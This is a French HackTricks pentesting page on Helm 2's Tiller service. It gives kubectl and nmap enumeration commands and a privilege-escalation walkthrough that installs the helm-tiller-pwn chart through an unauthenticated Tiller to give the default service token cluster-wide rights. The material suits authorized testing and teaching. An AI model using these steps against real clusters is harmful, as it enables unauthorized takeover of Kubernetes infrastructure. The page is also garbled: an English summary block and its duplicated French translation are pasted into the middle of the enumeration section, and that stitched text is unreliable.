hacktricks/network-services-pentesting/44134-pentesting-tiller-helm.md

178 lines
9 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
Autres moyens de soutenir HackTricks :
2022-04-28 16:01:33 +00:00
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>
2023-06-03 13:10:46 +00:00
# Informations de base
2021-12-29 12:26:06 +00:00
Helm est le **gestionnaire de paquets** pour Kubernetes. Il permet de packager des fichiers YAML et de les distribuer dans des dépôts publics et privés. Ces paquets sont appelés **Helm Charts**. **Tiller** est le **service** **exécuté** par défaut sur le port 44134 offrant le service.
2021-12-29 12:26:06 +00:00
2023-06-03 13:10:46 +00:00
**Port par défaut :** 44134
2021-12-29 12:26:06 +00:00
```
PORT STATE SERVICE VERSION
44134/tcp open unknown
```
2023-06-03 13:10:46 +00:00
# Énumération
2021-12-29 12:26:06 +00:00
Si vous pouvez **énumérer les pods et/ou services** de différents espaces de noms, énumérez-les et recherchez ceux avec **"tiller" dans leur nom** :
2021-12-29 12:26:06 +00:00
```bash
2022-01-14 10:22:14 +00:00
kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"
2021-12-29 12:26:06 +00:00
```
```markdown
# Pentesting Tiller (Helm)
## Summary
Tiller, the server component of Helm, is often deployed with default settings that may lead to security issues. This section covers methods to exploit these weaknesses.
## Discovery
To discover Tiller instances, scan the cluster for services listening on port 44134, which is the default Tiller port.
## Exploitation
If you find a Tiller instance, you can attempt to exploit it. Since Tiller does not authenticate users by default, anyone can interact with it. This can lead to unauthorized access to the cluster's resources.
### Accessing the Tiller API
You can access the Tiller API using the `helm` command-line tool. If you have network access to the Tiller service, you can use the following command to list releases:
```bash
helm list --host <tiller_host>:44134
```
This command will show you the releases managed by Tiller.
### Deploying Malicious Charts
Helm charts are packages of pre-configured Kubernetes resources. You can create a malicious chart to compromise the cluster. Once you have access to Tiller, you can deploy your chart using:
```bash
helm install <chart_name> --host <tiller_host>:44134
```
This will deploy the chart to the cluster, potentially leading to a compromise.
## Remediation
To secure Tiller, consider the following:
- Implement authentication and authorization.
- Restrict network access to Tiller.
- Upgrade to Helm 3, which does not use Tiller.
## Conclusion
Tiller instances can be a weak point in Kubernetes clusters. By following the outlined pentesting steps, you can identify and mitigate these vulnerabilities.
```
```
2023-06-03 13:10:46 +00:00
# Pentesting Tiller (Helm)
2023-06-03 13:10:46 +00:00
## Résumé
2023-06-03 13:10:46 +00:00
Tiller, le composant serveur de Helm, est souvent déployé avec des paramètres par défaut qui peuvent conduire à des problèmes de sécurité. Cette section couvre les méthodes pour exploiter ces faiblesses.
2023-06-03 13:10:46 +00:00
## Découverte
2023-06-03 13:10:46 +00:00
Pour découvrir les instances de Tiller, scannez le cluster à la recherche de services écoutant sur le port 44134, qui est le port par défaut de Tiller.
2023-06-03 13:10:46 +00:00
## Exploitation
2023-06-03 13:10:46 +00:00
Si vous trouvez une instance de Tiller, vous pouvez tenter de l'exploiter. Étant donné que Tiller n'authentifie pas les utilisateurs par défaut, n'importe qui peut interagir avec lui. Cela peut conduire à un accès non autorisé aux ressources du cluster.
2023-06-03 13:10:46 +00:00
### Accéder à l'API Tiller
2023-06-03 13:10:46 +00:00
Vous pouvez accéder à l'API Tiller en utilisant l'outil en ligne de commande `helm`. Si vous avez un accès réseau au service Tiller, vous pouvez utiliser la commande suivante pour lister les déploiements :
2023-06-03 13:10:46 +00:00
```bash
helm list --host <tiller_host>:44134
```
2023-06-03 13:10:46 +00:00
Cette commande vous montrera les déploiements gérés par Tiller.
2023-06-03 13:10:46 +00:00
### Déployer des Charts Malveillants
2023-06-03 13:10:46 +00:00
Les charts Helm sont des paquets de ressources Kubernetes pré-configurées. Vous pouvez créer un chart malveillant pour compromettre le cluster. Une fois que vous avez accès à Tiller, vous pouvez déployer votre chart en utilisant :
2023-06-03 13:10:46 +00:00
```bash
helm install <chart_name> --host <tiller_host>:44134
```
2023-06-03 13:10:46 +00:00
Cela déploiera le chart dans le cluster, pouvant conduire à un compromis.
2023-06-03 13:10:46 +00:00
## Remédiation
2023-06-03 13:10:46 +00:00
Pour sécuriser Tiller, envisagez ce qui suit :
2021-12-29 12:26:06 +00:00
- Mettre en œuvre l'authentification et l'autorisation.
- Restreindre l'accès réseau à Tiller.
- Passer à Helm 3, qui n'utilise pas Tiller.
2021-12-29 12:26:06 +00:00
## Conclusion
Les instances de Tiller peuvent être un point faible dans les clusters Kubernetes. En suivant les étapes de pentesting décrites, vous pouvez identifier et atténuer ces vulnérabilités.
```
2021-12-29 12:26:06 +00:00
```bash
kubectl get pods -n kube-system
NAME READY STATUS RESTARTS AGE
kube-scheduler-controlplane 1/1 Running 0 35m
tiller-deploy-56b574c76d-l265z 1/1 Running 0 35m
kubectl get services -n kube-system
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
```
Vous pourriez également essayer de trouver ce service en cours d'exécution en vérifiant le port 44134 :
2021-12-29 12:26:06 +00:00
```bash
sudo nmap -sS -p 44134 <IP>
```
Une fois découvert, vous pouvez communiquer avec en téléchargeant l'application cliente helm. Vous pouvez utiliser des outils comme `homebrew`, ou consulter [**la page des versions officielles**](https://github.com/helm/helm/releases)**.** Pour plus de détails, ou pour d'autres options, consultez [le guide d'installation](https://v2.helm.sh/docs/using_helm/#installing-helm).
2021-12-29 12:26:06 +00:00
Ensuite, vous pouvez **énumérer le service** :
2021-12-29 12:26:06 +00:00
```
helm --host tiller-deploy.kube-system:44134 version
```
2023-06-03 13:10:46 +00:00
## Élévation de privilèges
2021-12-29 12:26:06 +00:00
Par défaut, **Helm2** était installé dans l'**espace de noms kube-system** avec des **privilèges élevés**, donc si vous trouvez le service et y avez accès, cela pourrait vous permettre d'**élever vos privilèges**.
2021-12-29 12:26:06 +00:00
2023-06-03 13:10:46 +00:00
Tout ce que vous avez à faire est d'installer un package comme celui-ci : [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn) qui donnera au **jeton de service par défaut l'accès à tout dans l'ensemble du cluster.**
2021-12-29 12:26:06 +00:00
```
git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart
```
Dans [http://rui0.cn/archives/1573](http://rui0.cn/archives/1573), vous avez **l'explication de l'attaque**, mais essentiellement, si vous lisez les fichiers [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) et [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) dans _helm-tiller-pwn/pwnchart/templates/_, vous pouvez voir comment **tous les privilèges sont accordés au jeton par défaut**.
<details>
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Autres moyens de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>